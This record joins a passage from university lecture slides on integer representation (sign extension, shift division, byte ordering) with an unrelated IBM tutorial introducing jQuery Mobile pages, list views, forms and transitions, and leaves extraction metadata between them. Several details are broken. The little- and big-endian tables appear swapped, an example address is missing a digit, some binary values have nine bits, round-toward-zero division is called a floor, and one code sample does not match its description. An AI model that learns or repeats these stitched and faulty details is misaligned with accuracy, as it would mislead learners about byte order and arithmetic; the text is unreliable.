</tr>
<tr>
<td>2147483647</td>
<td>(int) 2147483648U</td>
<td>></td>
<td>signed</td>
</tr>
</tbody>
</table>
Sign Extension
- **Task:**
- given $w$-bit signed integer $x$
- convert it to $w+k$-bit integer with same value
- **Rule:**
- make $k$ copies of sign bit:
- $X' = x_{w-1}, \ldots, x_{w-1}, x_{w-2}, \ldots, x_0$
Sign Extension Example
```c
short int x = 15213;
int ix = (int) x;
short int y = -15213;
int iy = (int) y;
```
<table>
<thead>
<tr>
<th>Decimal</th>
<th>Hex</th>
<th>Binary</th>
</tr>
</thead>
<tbody>
<tr>
<td>x</td>
<td>15213</td>
<td>3B 6D 00111011 01101101</td>
</tr>
<tr>
<td>ix</td>
<td>15213</td>
<td>00 00 3B 6D 00000000 00000000 00111011 01101101</td>
</tr>
<tr>
<td>y</td>
<td>-15213</td>
<td>C4 93 11000100 10010011</td>
</tr>
<tr>
<td>iy</td>
<td>-15213</td>
<td>FF FF C4 93 11111111 11111111 11000100 10010011</td>
</tr>
</tbody>
</table>
- Converting from smaller to larger integer data type
- C automatically performs sign extension
Does it Work?
\[
\begin{align*}
\text{val}_w &= -2^{w-1} + \sum_{i=0}^{w-2} b_i \cdot 2^i \\
\text{val}_{w+1} &= -2^w + 2^{w-1} + \sum_{i=0}^{w-2} b_i \cdot 2^i \\
&= -2^{w-1} + \sum_{i=0}^{w-2} b_i \cdot 2^i \\
\text{val}_{w+2} &= -2^{w+1} + 2^w + 2^{w-1} + \sum_{i=0}^{w-2} b_i \cdot 2^i \\
&= -2^w + 2^{w-1} + \sum_{i=0}^{w-2} b_i \cdot 2^i \\
&= -2^{w-1} + \sum_{i=0}^{w-2} b_i \cdot 2^i
\end{align*}
\]
Power-of-2 Multiply with Shift
- **Operation**
- \( u << k \) gives \( u \times 2^k \)
- both signed and unsigned
- **Examples**
- \( u << 3 == u \times 8 \)
- \( u << 5 - u << 3 == u \times 24 \)
- most machines shift and add faster than multiply
- compiler generates this code automatically
Unsigned Power-of-2 Divide with Shift
- Quotient of unsigned by power of 2
- \( u \gg k \) gives \( \lfloor u / 2^k \rfloor \)
- uses logical shift
<table>
<thead>
<tr>
<th>Division</th>
<th>Computed</th>
<th>Hex</th>
<th>Binary</th>
</tr>
</thead>
<tbody>
<tr>
<td>x 15213</td>
<td>15213</td>
<td>3B 6D</td>
<td>00111011 01101101</td>
</tr>
<tr>
<td>x >> 1 7606.5</td>
<td>7606</td>
<td>1D B6</td>
<td>00011101 10110110</td>
</tr>
<tr>
<td>x >> 4 950.8125</td>
<td>950</td>
<td>03 B6</td>
<td>00000011 10110110</td>
</tr>
<tr>
<td>x >> 8 59.4257813</td>
<td>59</td>
<td>00 3B</td>
<td>00000000 00111011</td>
</tr>
</tbody>
</table>
Signed Power-of-2 Divide with Shift
- Quotient of signed by power of 2
- $x \gg k$ gives $\lfloor x / 2^k \rfloor$
- uses arithmetic shift
- rounds wrong direction when $x < 0$
<table>
<thead>
<tr>
<th>Division</th>
<th>Computed</th>
<th>Hex</th>
<th>Binary</th>
</tr>
</thead>
<tbody>
<tr>
<td>$y$</td>
<td>-15213</td>
<td>C4 93</td>
<td>11000100 10010011</td>
</tr>
<tr>
<td>$y \gg 1$</td>
<td>-7606.5</td>
<td>E2 49</td>
<td>11100010 01001001</td>
</tr>
<tr>
<td>$y \gg 4$</td>
<td>-950.8125</td>
<td>FC 49</td>
<td>111111100 01001001</td>
</tr>
<tr>
<td>$y \gg 8$</td>
<td>-59.4257813</td>
<td>FF C4</td>
<td>111111111 11000100</td>
</tr>
</tbody>
</table>
Correct Power-of-2 Divide
- Quotient of negative number by power of 2
- want \( \lfloor \frac{x}{2^k} \rfloor \) (round toward 0)
- compute as \( \lfloor \frac{x+2^k-1}{2^k} \rfloor \)
- in C: \((x + (1<<k) - 1) >> k\)
- biases dividend toward 0
Case 1: no rounding
<table>
<thead>
<tr>
<th>dividend:</th>
<th>( u )</th>
<th>+</th>
<th>( +2^k - 1 )</th>
<th>( \lfloor \frac{u}{2^k} \rfloor )</th>
</tr>
</thead>
<tbody>
<tr>
<td>( 1 \ldots 0 \ldots 0 \ldots )</td>
<td>( 1 \ldots 0 \ldots 0 \ldots )</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>( 0 \ldots 0 \ldots 0 \ldots )</td>
<td>( 0 \ldots 0 \ldots 0 \ldots )</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>divisor:</th>
<th>( / )</th>
<th>( 2^k )</th>
<th>( \lfloor \frac{u}{2^k} \rfloor )</th>
</tr>
</thead>
<tbody>
<tr>
<td>( 0 \ldots 0 \ldots 0 \ldots )</td>
<td>( 0 \ldots 0 \ldots 0 \ldots )</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Biasing has no effect
Correct Power-of-2 Divide (Cont.)
Case 2: rounding
\[
\begin{align*}
\text{dividend:} & & x & = & 1.\cdots & \cdots & \cdots & \cdots \\
& & \quad +2^k - 1 & = & 0.\cdots & 001 & \cdots & 111 \\
\end{align*}
\]
\[
\begin{align*}
\text{divisor:} & & 1 & = & \cdots & \cdots & \cdots & \cdots \\
& & \quad / & = & 0.\cdots & 010 & \cdots & 00 \\
\quad \left[ x / 2^k \right] & & 1 & = & \cdots & 111 & 1 & \cdots \\
\end{align*}
\]
- incremented by 1
- binary point
- incremented by 1
Biasing adds 1 to final result
Why Should I Use Unsigned?
• *Don’t* use just because number nonnegative
– easy to make mistakes
```c
unsigned i;
for (i = cnt-2; i >= 0; i--)
a[i] += a[i+1];
– can be very subtle
```
```c
#define DELTA sizeof(int)
int i;
for (i = CNT; i-DELTA >= 0; i-= DELTA)
...
```
• *Do* use when performing modular arithmetic
– multiprecision arithmetic
• *Do* use when using bits to represent sets
– logical right shift, no sign extension
Byte-Oriented Memory Organization
• Programs refer to data by address
– conceptually, envision it as a very large array of bytes
» in reality, it’s not, but can think of it that way
– an address is like an index into that array
» and, a pointer variable stores an address
• Note: system provides private address spaces to each “process”
– think of a process as a program being executed
– so, a program can clobber its own data, but not that of others
Machine Words
• Any given computer has a “word size”
– nominal size of integer-valued data
» and of addresses
– until recently, most machines used 32 bits (4 bytes) as word size
» limits addresses to 4GB ($2^{32}$ bytes)
» become too small for memory-intensive applications
• leading to emergence of computers with 64-bit word size
• machines still support multiple data formats
» fractions or multiples of word size
» always integral number of bytes
Word-Oriented Memory Organization
- Addresses specify byte locations
- address of first byte in word
- addresses of successive words differ by 4 (32-bit) or 8 (64-bit)
Byte Ordering
- Four-byte integer
- 0x7654321
- Stored at location 0x100
- which byte is at 0x100?
- which byte is at 0x103?
Little-endian:
<table>
<thead>
<tr>
<th>01</th>
<th>23</th>
<th>45</th>
<th>67</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x100</td>
<td>0x101</td>
<td>0x102</td>
<td>0x103</td>
</tr>
</tbody>
</table>
Big-endian:
<table>
<thead>
<tr>
<th>67</th>
<th>45</th>
<th>23</th>
<th>01</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x100</td>
<td>0x101</td>
<td>0x102</td>
<td>0x103</td>
</tr>
</tbody>
</table>
Byte Ordering (2)
<table>
<thead>
<tr>
<th>Big Endian</th>
<th>Little Endian</th>
</tr>
</thead>
<tbody>
<tr>
<td>00 00 00 01</td>
<td>00 00 00 01</td>
</tr>
</tbody>
</table>
Quiz 4
```c
int main() {
long x=1;
proc(x);
return 0;
}
void proc(int arg) {
printf("%d\n", arg);
}
```
What value is printed on a big-endian 64-bit computer?
a) 0
b) 1
c) $2^{32}$
d) $2^{32}-1$
|
{"Source-Url": "http://cs.brown.edu/courses/csci0330/lecture/07datarep1X.pdf", "len_cl100k_base": 7263, "olmocr-version": "0.1.53", "pdf-total-pages": 42, "total-fallback-pages": 0, "total-input-tokens": 73982, "total-output-tokens": 8812, "length": "2e12", "weborganizer": {"__label__adult": 0.0003936290740966797, "__label__art_design": 0.0003745555877685547, "__label__crime_law": 0.0002551078796386719, "__label__education_jobs": 0.001247406005859375, "__label__entertainment": 9.107589721679688e-05, "__label__fashion_beauty": 0.00017058849334716797, "__label__finance_business": 0.00017368793487548828, "__label__food_dining": 0.0005102157592773438, "__label__games": 0.0008449554443359375, "__label__hardware": 0.00377655029296875, "__label__health": 0.0005311965942382812, "__label__history": 0.00033283233642578125, "__label__home_hobbies": 0.00016999244689941406, "__label__industrial": 0.0006794929504394531, "__label__literature": 0.00034356117248535156, "__label__politics": 0.00023376941680908203, "__label__religion": 0.0006594657897949219, "__label__science_tech": 0.050323486328125, "__label__social_life": 0.00011205673217773438, "__label__software": 0.00628662109375, "__label__software_dev": 0.93115234375, "__label__sports_fitness": 0.0002956390380859375, "__label__transportation": 0.0006237030029296875, "__label__travel": 0.0001838207244873047}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 16029, 0.10661]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 16029, 0.07874]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 16029, 0.55721]], "google_gemma-3-12b-it_contains_pii": [[0, 26, false], [26, 359, null], [359, 866, null], [866, 998, null], [998, 1412, null], [1412, 1457, null], [1457, 1553, null], [1553, 1829, null], [1829, 2356, null], [2356, 2665, null], [2665, 3257, null], [3257, 3830, null], [3830, 4200, null], [4200, 4656, null], [4656, 5484, null], [5484, 5773, null], [5773, 6117, null], [6117, 6404, null], [6404, 6562, null], [6562, 6798, null], [6798, 7000, null], [7000, 7724, null], [7724, 8389, null], [8389, 8519, null], [8519, 8545, null], [8545, 8967, null], [8967, 9993, null], [9993, 10214, null], [10214, 10750, null], [10750, 11159, null], [11159, 11465, null], [11465, 11950, null], [11950, 12435, null], [12435, 13232, null], [13232, 13753, null], [13753, 14258, null], [14258, 14727, null], [14727, 15206, null], [15206, 15379, null], [15379, 15698, null], [15698, 15809, null], [15809, 16029, null]], "google_gemma-3-12b-it_is_public_document": [[0, 26, true], [26, 359, null], [359, 866, null], [866, 998, null], [998, 1412, null], [1412, 1457, null], [1457, 1553, null], [1553, 1829, null], [1829, 2356, null], [2356, 2665, null], [2665, 3257, null], [3257, 3830, null], [3830, 4200, null], [4200, 4656, null], [4656, 5484, null], [5484, 5773, null], [5773, 6117, null], [6117, 6404, null], [6404, 6562, null], [6562, 6798, null], [6798, 7000, null], [7000, 7724, null], [7724, 8389, null], [8389, 8519, null], [8519, 8545, null], [8545, 8967, null], [8967, 9993, null], [9993, 10214, null], [10214, 10750, null], [10750, 11159, null], [11159, 11465, null], [11465, 11950, null], [11950, 12435, null], [12435, 13232, null], [13232, 13753, null], [13753, 14258, null], [14258, 14727, null], [14727, 15206, null], [15206, 15379, null], [15379, 15698, null], [15698, 15809, null], [15809, 16029, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 16029, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 16029, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 16029, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 16029, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 16029, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 16029, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 16029, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 16029, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, true], [5000, 16029, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 16029, null]], "pdf_page_numbers": [[0, 26, 1], [26, 359, 2], [359, 866, 3], [866, 998, 4], [998, 1412, 5], [1412, 1457, 6], [1457, 1553, 7], [1553, 1829, 8], [1829, 2356, 9], [2356, 2665, 10], [2665, 3257, 11], [3257, 3830, 12], [3830, 4200, 13], [4200, 4656, 14], [4656, 5484, 15], [5484, 5773, 16], [5773, 6117, 17], [6117, 6404, 18], [6404, 6562, 19], [6562, 6798, 20], [6798, 7000, 21], [7000, 7724, 22], [7724, 8389, 23], [8389, 8519, 24], [8519, 8545, 25], [8545, 8967, 26], [8967, 9993, 27], [9993, 10214, 28], [10214, 10750, 29], [10750, 11159, 30], [11159, 11465, 31], [11465, 11950, 32], [11950, 12435, 33], [12435, 13232, 34], [13232, 13753, 35], [13753, 14258, 36], [14258, 14727, 37], [14727, 15206, 38], [15206, 15379, 39], [15379, 15698, 40], [15698, 15809, 41], [15809, 16029, 42]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 16029, 0.16211]]}
|
olmocr_science_pdfs
|
2024-12-12
|
2024-12-12
|
66460a954478d639fa492c780c74dad829414611
|
Introduction to jQuery Mobile
C. Enrique Ortiz
February 01, 2011
This article provides an introduction to the jQuery Mobile framework. Learn the basics of the framework and how to write a functional mobile web application user interface without writing a single line of JavaScript code. An example guides you through basic pages, navigation, toolbars, list views, form controls, and transition effects.
Introduction
jQuery Mobile, a user interface (UI) framework, lets you write a functional mobile web application without writing a single line of JavaScript code. In this article, learn about the features of this framework, including the basic pages, navigation toolbars, form controls, and transition effects.
To follow along with this article, you will need:
- Previous exposure to HTML
- Understanding of JavaScript fundamentals
- Basic knowledge of jQuery
You can download the jQuery plug-in source code used with this article from the Download table below. Related topics has information on jQuery, JavaScript, DOM, HTML5, and more.
jQuery Mobile
jQuery Mobile is a touch-friendly web UI development framework that lets you develop mobile web applications that work across smartphones and tablets. The jQuery Mobile framework builds on top of jQuery core and provides a number of facilities, including HTML and XML document object model (DOM) traversing and manipulation, handling events, performing server communication using Ajax, as well as animation and image effects for web pages. The mobile framework itself is a separate, additional download of around 12KB (minified and gzipped) from jQuery core, which is around 25KB when minified/gzipped. As with the rest of the jQuery framework, jQuery Mobile is a free, dual-licensed (MIT and GPL) library.
Though jQuery Mobile is still in Alpha, there are some demos and documentation. It is recommended that you review the documentation and demos in Related topics and look at the demo source code in the Download section.
At the time of this writing, the jQuery Mobile framework is an Alpha 2 version (v1.0a2). The code is in draft form and is subject to change. Yet, the existing framework is pretty solid. With an impressive set of components available in the alpha release, jQuery Mobile promises to be a great framework and tool set for developing mobile web applications.
Basic features of jQuery Mobile include:
**General simplicity**
The framework is simple to use. You can develop pages mainly using markup driven with minimal or no JavaScript.
**Progressive enhancement and graceful degradation**
While jQuery Mobile leverages the latest HTML5, CSS3, and JavaScript, not all mobile devices provide such support. jQuery Mobile philosophy is to support both high-end and less capable devices, such as those without JavaScript support, and still provide the best possible experience.
**Accessibility**
jQuery Mobile is designed with accessibility in mind. It has support for Accessible Rich Internet Applications (WAI-ARIA) to help make web pages accessible for visitors with disabilities using assistive technologies.
**Small size**
The overall size of the jQuery Mobile framework is relatively small at 12KB for the JavaScript library, 6KB for the CSS, plus some icons.
**Theming**
The framework also provides a theme system that allows you to provide your own application styling.
When used with toolkits such as PhoneGap (see Related topics), which uses web technologies to build stand-alone applications, the jQuery Mobile framework can help simplify your application development.
**Browser support**
We've come a long way with mobile device browser support, but not all mobile devices provide support for HTML5, CSS 3, and JavaScript. This arena is where jQuery Mobile's progressive enhancement and graceful degradation support come into play. As stated, jQuery Mobile supports both high-end and less capable devices, such as those without JavaScript support. Progressive Enhancement consists of the following core principles (source: Wikipedia):
- All basic content should be accessible to all browsers.
- All basic functionality should be accessible to all browsers.
- Enhanced layout is provided by externally linked CSS.
- Enhanced behavior is provided by externally linked JavaScript.
- End user browser preferences are respected.
All basic content should render (as designed) on basic devices, while more advanced platforms and browsers will be progressively enhanced with additional, externally linked JavaScript and CSS.
jQuery Mobile currently provides support for the following mobile platforms:
- Apple® iOS: iPhone, iPod Touch, iPad (all versions)
- Android™: all devices (all versions)
- Blackberry® Torch (version 6)
- Palm™ WebOS Pre, Pixi
- Nokia® N900 (in progress)
See the supported browser matrix on the jQuery Mobile site for more information (see Related topics).
**Summary of UI components**
jQuery Mobile provides robust support for different kinds of UI elements. Figure 1 shows a summary of the currently supported UI components.
Toolbars, buttons, list views, tabs, pop-up menus, dialogs, transitions, edit panels, and form elements are supported. Most, if not all, of the UI elements that you need for your mobile web applications are provided.
$.mobile and supported methods and events
The JavaScript object jQuery is also referred to as $. The jQuery Mobile framework extends jQuery core with mobile plug-ins, including the mobile, or $.mobile, which defines several events and methods. Some of the methods exposed by $.mobile are described below.
Table 1. Methods exposed by $.mobile
<table>
<thead>
<tr>
<th>Method</th>
<th>Usage</th>
</tr>
</thead>
</table>
Introduction to jQuery Mobile
$.mobile.changePage
To programmatically change from one page to another. For example, to go to page weblog.php using a slide transition, use
$.mobile.changePage("weblog.php", "slide").
$.mobile.pageLoading
To show or hide the page loading message. For example, to hide the message, use
$.mobile.pageLoading(true).
$.mobile.silentScroll
To scroll to a particular Y position without generating scroll events. For example, to scroll to Y position 50, use
$.mobile.silentScroll(100).
$.mobile.addResolutionBreakpoints
jQuery Mobile already defines some breakpoints for min/max classes. Call this method to add breakpoints. For example, to add min/max class for 800 pixel widths, use
$.mobile.addResolutionBreakpoints(800).
$.mobile.activePage
Refers to the currently active page.
There are several events that you can bind using the bind() or live() method, such as jQuery Mobile initialization, touch events, orientation change, scroll events, page show/hide events, page-initialization events, and animation events.
For example, touch events include tap, taphold, and various swipe events. Scroll events include scrollstart and scrollstop. Page events allow you to receive notifications: prior to a page creation, when a page is created, just before the page is shown or hidden, and when the page is shown and hidden.
Listing 1 shows an example of binding a specific event when jQuery Mobile starts to execute.
**Listing 1. Bind to the mobileinit event**
```javascript
$(document).bind("mobileinit", function(){
//apply overrides here
});
```
The event above lets you override default values when jQuery Mobile starts. Several settings can be overridden, such as:
- **LoadingMessage** - Sets the default text that appears when a page is loading.
- **defaultTransition** - Sets the default transition for page changes that use Ajax.
There are more configuration parameters that you can override as needed. See the jQuery Mobile documentation (see Related topics), or the source code (see Downloadable resources), for more information.
You can also bind to other events that allow you to create dynamic applications based on touch and page events.
**HTML5 data-* attributes**
jQuery Mobile relies on HTML5 data-* attributes to support the various UI elements, transitions, and page structure. They are silently discarded by browsers that don't support them. Table 2 shows how to use data-* attributes to create UI components.
Table 2. `data-*` attributes for UI components
<table>
<thead>
<tr>
<th>Component</th>
<th>HTML5 data-* attribute</th>
</tr>
</thead>
<tbody>
<tr>
<td>Header, Footer toolbars</td>
<td><code><div data-role="header"></code> <div data-role="footer"></td>
</tr>
<tr>
<td>Content body</td>
<td><code><div data-role="content"></code></td>
</tr>
<tr>
<td>Buttons</td>
<td><code><a href="index.html" data-role="button" data-icon="info">Button</a></code></td>
</tr>
<tr>
<td>Grouped buttons</td>
<td>`<div data-role="controlgroup"> <a href="index.html" data-role="button">Yes</a></td>
</tr>
<tr>
<td></td>
<td><a href="index.html" data-role="button">No</a> <a href="index.html" data-role="button">Hell Yeah</a> </div>`</td>
</tr>
<tr>
<td>Inline buttons</td>
<td><code><div data-inline="true"> <a href="index.html" data-role="button">Foo</a> <a href="index.html" data-role="button" data-theme="b">Bar</a> </div></code></td>
</tr>
<tr>
<td>Form element (Select menu)</td>
<td><code><div data-role="fieldcontain"> <label for="select-options" class="select">Choose an option:</label> <select name="select-options" id="select-options"> <option value="option1">Option 1</option> <option value="option2">Option 2</option> <option value="option3">Option 3</option> </select> </div></code></td>
</tr>
<tr>
<td>Basic List views</td>
<td><code><ul data-role="listview"> <li><a href="index.html">One</a></li> <li><a href="index.html">Two</a></li> <li><a href="index.html">Three</a></li> </ul></code></td>
</tr>
<tr>
<td>Dialogs</td>
<td><code><a href="foo.html" data-rel="dialog">Open dialog</a></code></td>
</tr>
<tr>
<td>Transitions</td>
<td><code><a href="index.html" data-transition="pop" data-back="true"></code></td>
</tr>
</tbody>
</table>
The jQuery Mobile documentation has a complete list of supported `data-*` syntax.
**Structure of a jQuery Mobile page**
This section discusses the general structure of a jQuery Mobile page. jQuery Mobile has guidelines on the structure of pages themselves. In general, a page structure should have the following sections:
**Header bar**
- Typically contains the page title and Back button
**Content**
- The content of your application
**Footer bar**
- Typically contains navigational elements, copyright information, or whatever you need to add to the footer
Figure 2 shows examples of the different sections.
The header and footer toolbars support fixed and full-screen positioning options. The fixed position makes the toolbars static when scrolling. The full-screen positioning works the same as fixed except the bars are displayed only when clicking on the page (to provide a non-obtrusive, full-content experience). The rest of this section explores the HTML code for a generic page structure.
The definition of an HTML type of document itself is `!DOCTYPE html>`, which defines an HTML5 document type.
The HTML head section loads three important jQuery Mobile components:
- jQuery Core library — The core jQuery library
- jQuery Mobile library — The mobile-specific part of the jQuery framework
- jQuery Mobile CSS — The CSS that defines the core jQuery Mobile UI elements. It defines the transitions and different UI widgets, such as sliders and buttons, and makes heavy use of Webkit transforms and animations.
Listing 2 shows the HTML head section.
Listing 2. HTML head section
```html
<html>
<head>
<meta charset="utf-8" />
<title>Intro to jQuery Mobile</title>
<link rel="stylesheet" href="http://code.jquery.com/mobile/1.0a2/jquery.mobile-1.0a2.min.css" />
<script src="http://code.jquery.com/jquery-1.4.4.min.js"></script>
<script src="http://code.jquery.com/mobile/1.0a2/jquery.mobile-1.0a2.min.js"></script>
</head>
</html>
```
The next section of the HTML code defines the page itself; see the use of the `data-role="page"` attribute. Listing 3 shows an example.
Listing 3. Defining a page block
```html
<body>
<div data-role="page" id="page1">
```
Listing 3 defines a page. The `id` attribute is necessary only if local multiple page blocks reside on the same HTML file document, but it's good practice to define a unique ID.
The next couple of code listings show how to define the different header, content, and footer sections of the page. The header bar typically consists of the page title and Back button, as shown in Listing 4.
Listing 4. Page header bar section
```html
<div data-role="header">
<h1>Header Bar</h1>
</div><!-- /header -->
```
In this case, the header bar consists of only an H1 header title text. The bulk of your content goes after the header, as shown below. The example in Listing 5 shows only a simple paragraph, but this is where you would add lists, buttons, forms, and so on.
Listing 5. Page content section
```html
<div data-role="content">
<p>Content Section</p>
</div><!-- /content -->
```
The footer bar is where you typically place navigational elements and copyright information, as shown in Listing 6.
Listing 6. Footer bar section
```html
<div data-role="footer">
<h4>Footer Bar</h4>
</div><!-- /footer -->
```
```html
</body>
</html>
```
The example footer section in Listing 6 is very simple. Adding a navigational bar to the footer bar is not very complicated, as shown in Listing 7.
**Listing 7. Adding a nav bar to the footer section**
```html
<div data-role="footer" class="ui-bar">
<div data-role="controlgroup" data-type="horizontal">
<a href="index.html" data-role="button">Today</a>
<a href="index.html" data-role="button">Tomorrow</a>
<a href="index.html" data-role="button">Week</a>
<a href="index.html" data-role="button">No date</a>
</div>
</div><!-- /footer -->
```
Figure 3 shows the resulting footer bar section with the newly added navigational bar.
**Figure 3. Footer with navigational bar**

---
**Defining multiple local pages**
The previous example covered a single page. jQuery Mobile also provides support for multiple pages within a single HTML document. The multiple pages are local, internal linked "pages" that you can group together for preloading purposes. The structure of the multipage page is similar to the previous example of a single page, except that it will contain multiple page data-roles. Listing 8 shows an example.
**Listing 8. Defining multiple pages within a single HTML file**
```html
<div data-role="page" id=page1">
</div>
```
When referencing a page that is local to the same HTML document, jQuery Mobile automatically deals with the references. When referencing an external page, jQuery Mobile will display a loading spinner. If an error is encountered, the framework will automatically display and handle an error message pop-up.
### Page transitions
jQuery Mobile provides support for CSS-based page transitions (inspired by jQtouch), which are applied when navigating to a new page and back. The transitions include:
- **Slide**
- Provides a horizontal transition
- **Slideup and Slidedown**
- Provide transitions up and down the screen
- **Pop**
- Provides an explode type of transition
- **Fade**
- Provides a fading transition
- **Flip**
- Provides a flip transition
You can add page transitions in two different ways:
- Add a data-transition attribute to the link, using `<a href="index.html" data-transition="pop" data-back="true">`.
- Use the data-transition attribute on static pages.
- Programatically, using `.mobile.changePage("pendingtasks.html", "slideup");`.
- Use the programmatic approach when working with dynamic pages.
### List views
List views, a fundamental type of UI element, are heavily used in mobile applications. jQuery Mobile supports numerous list views: basic, nested, numbered, and read-only lists; split buttons;
list dividers; count bubbles; thumbnails; icons; search filter bars; inset styled lists; and theming lists.
Listing 9 shows a basic list view. A list view is created by using the `<ul data-role="listview">` data attribute.
**Listing 9. Creating a simple list view**
```html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>Intro to jQuery Mobile</title>
<link rel="stylesheet" href="http://code.jquery.com/mobile/1.0a2/jquery.mobile-1.0a2.min.css" />
<script src="http://code.jquery.com/jquery-1.4.4.min.js"></script>
<script src="http://code.jquery.com/mobile/1.0a2/jquery.mobile-1.0a2.min.js"></script>
</head>
<body>
<div data-role="page">
<div data-role="header">
<h1>Facebook Friends</h1>
</div><!-- /header -->
<div data-role="content">
<p>
<ul data-role="listview" data-inset="true">
<li><a href="index.html">Get Friends</a></li>
<li><a href="index.html">Post to Wall</a></li>
<li><a href="index.html">Send Message</a></li>
</ul>
</p>
</div><!-- /content -->
<div data-role="footer">
</div><!-- /footer -->
</div><!-- /page -->
</body>
</html>
```
Inside the `<ul data-role="listview"/>` you define common `<li>` list items. This is a perfect example of how jQuery Mobile extends the basic HTML syntax. The result of the code example in Listing 10 is shown in Figure 4.
Forms
Forms are another common web artifact used to post information to a server. jQuery Mobile supports many form UI components: text inputs, search inputs, slider, flip toggle switch, radio buttons, checkboxes, select menus, and theming forms. They can all be created very easily. Listing 10 shows a form with a select menu and a submit button.
Select menus are driven by native `<select name="select-options" id="select-options">`, but jQuery Mobile improves on its "look and feel." The `<div data-role="fieldcontain">` statement groups the different values for visualization purposes. The form itself is defined by native `<form action="..." method="get">`.
Listing 10. A form, select menu, and submit button
```html
<form action="forms-results.php" method="get">
<fieldset>
<div data-role="fieldcontain">
<label for="select-options" class="select">Choose an option:</label>
<select name="select-options" id="select-options">
<option value="option1">Option 1</option>
<option value="option2">Option 2</option>
<option value="option2">Option 3</option>
</select>
</div>
<button type="submit">Submit</button>
</fieldset>
</form>
```
Figure 5 shows the form and its content.
**Figure 5. Simple form with selection menu and submit button**

When choosing the selection menu, jQuery Mobile displays the pop-up displayed on the image (on the right in Figure 5) with all of the selection values, which will automatically close after the selection. As long as the `action` and `method` attributes of the form are properly defined, jQuery Mobile takes care of the transitions between the form, the Ajax invocation, and the results page, and displays a spinner as necessary.
**Other UI components**
There are many more UI elements, and variations of elements, to be explored on the jQuery Mobile website and in the documentation (see Related topics). To complement what you learned in this article, it is recommended that you look into: collapsible content, layout grids, theming, and the rest of the list view and forms.
**Conclusion**
This article introduced the extensive jQuery Mobile JavaScript framework. You learned the basics of the framework and how to write functional web pages without having to write a single line of JavaScript code. If you need to manipulate the HTML documents, you can do so with the jQuery core. You explored basic pages and navigation, toolbars, form controls, and transition effects. jQuery Mobile provides numerous methods, events, and properties that you can work with programmatically. Let this inspire you to pursue more information about UI components not covered in this article.
## Downloadable resources
<table>
<thead>
<tr>
<th>Description</th>
<th>Name</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source code for this article</td>
<td>jquerymobileexamplecode.zip</td>
<td>3KB</td>
</tr>
</tbody>
</table>
Related topics
- Learn all about the jQuery Mobile framework.
- Explore jQuery Mobile documentation and demos: articles, APIs, and demo code.
- Access all of the jQuery documentation.
- Mobile Graded Browser Support provides a supported browser matrix for jQuery Mobile.
- jQuery: Plugins/Authoring shows how to write your own jQuery plugins.
- The JavaScript Guide explains everything you need to know about using JavaScript.
- The Mozilla Developer Network is a great resource for web developers.
- Read What is the Document Object Model? from the W3C specification document.
- The JavaScript tutorial DOM objects and methods covers all properties, collections, and methods of the W3C DOM.
- Get an overview of WAI-ARIA, the Accessible Rich Internet Applications Suite, which defines a way to make web content and web applications more accessible to people with disabilities.
- Progressive enhancement is a strategy for web design that emphasizes accessibility, semantic HTML markup, and external stylesheet and scripting technologies.
- "JavaScript and the Document Object Model" (developerWorks, Jul 2002) looks at the JavaScript approach to DOM and chronicles the building of a web page to which the user can add notes and edit note content.
- Read the HTML5 Specification from the W3C.
- To listen to interesting interviews and discussions for software developers, check out developerWorks podcasts.
- Get PhoneGap, an open source development framework for building cross-platform mobile apps.
© Copyright IBM Corporation 2011
Trademarks
(www.ibm.com/developerworks/ibm/trademarks/)
|
{"Source-Url": "https://www.ibm.com/developerworks/mobile/library/wa-jqmobile/wa-jqmobile-pdf.pdf", "len_cl100k_base": 5265, "olmocr-version": "0.1.53", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 27863, "total-output-tokens": 5660, "length": "2e12", "weborganizer": {"__label__adult": 0.0003147125244140625, "__label__art_design": 0.00044345855712890625, "__label__crime_law": 0.0001596212387084961, "__label__education_jobs": 0.0002346038818359375, "__label__entertainment": 5.918741226196289e-05, "__label__fashion_beauty": 0.00010514259338378906, "__label__finance_business": 9.524822235107422e-05, "__label__food_dining": 0.000274658203125, "__label__games": 0.0003762245178222656, "__label__hardware": 0.0004572868347167969, "__label__health": 0.00012731552124023438, "__label__history": 0.00011026859283447266, "__label__home_hobbies": 4.279613494873047e-05, "__label__industrial": 0.00012803077697753906, "__label__literature": 0.00010120868682861328, "__label__politics": 8.529424667358398e-05, "__label__religion": 0.0002651214599609375, "__label__science_tech": 0.0005717277526855469, "__label__social_life": 4.547834396362305e-05, "__label__software": 0.0105438232421875, "__label__software_dev": 0.98486328125, "__label__sports_fitness": 0.0001608133316040039, "__label__transportation": 0.00015211105346679688, "__label__travel": 0.00017642974853515625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 22049, 0.00874]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 22049, 0.47139]], 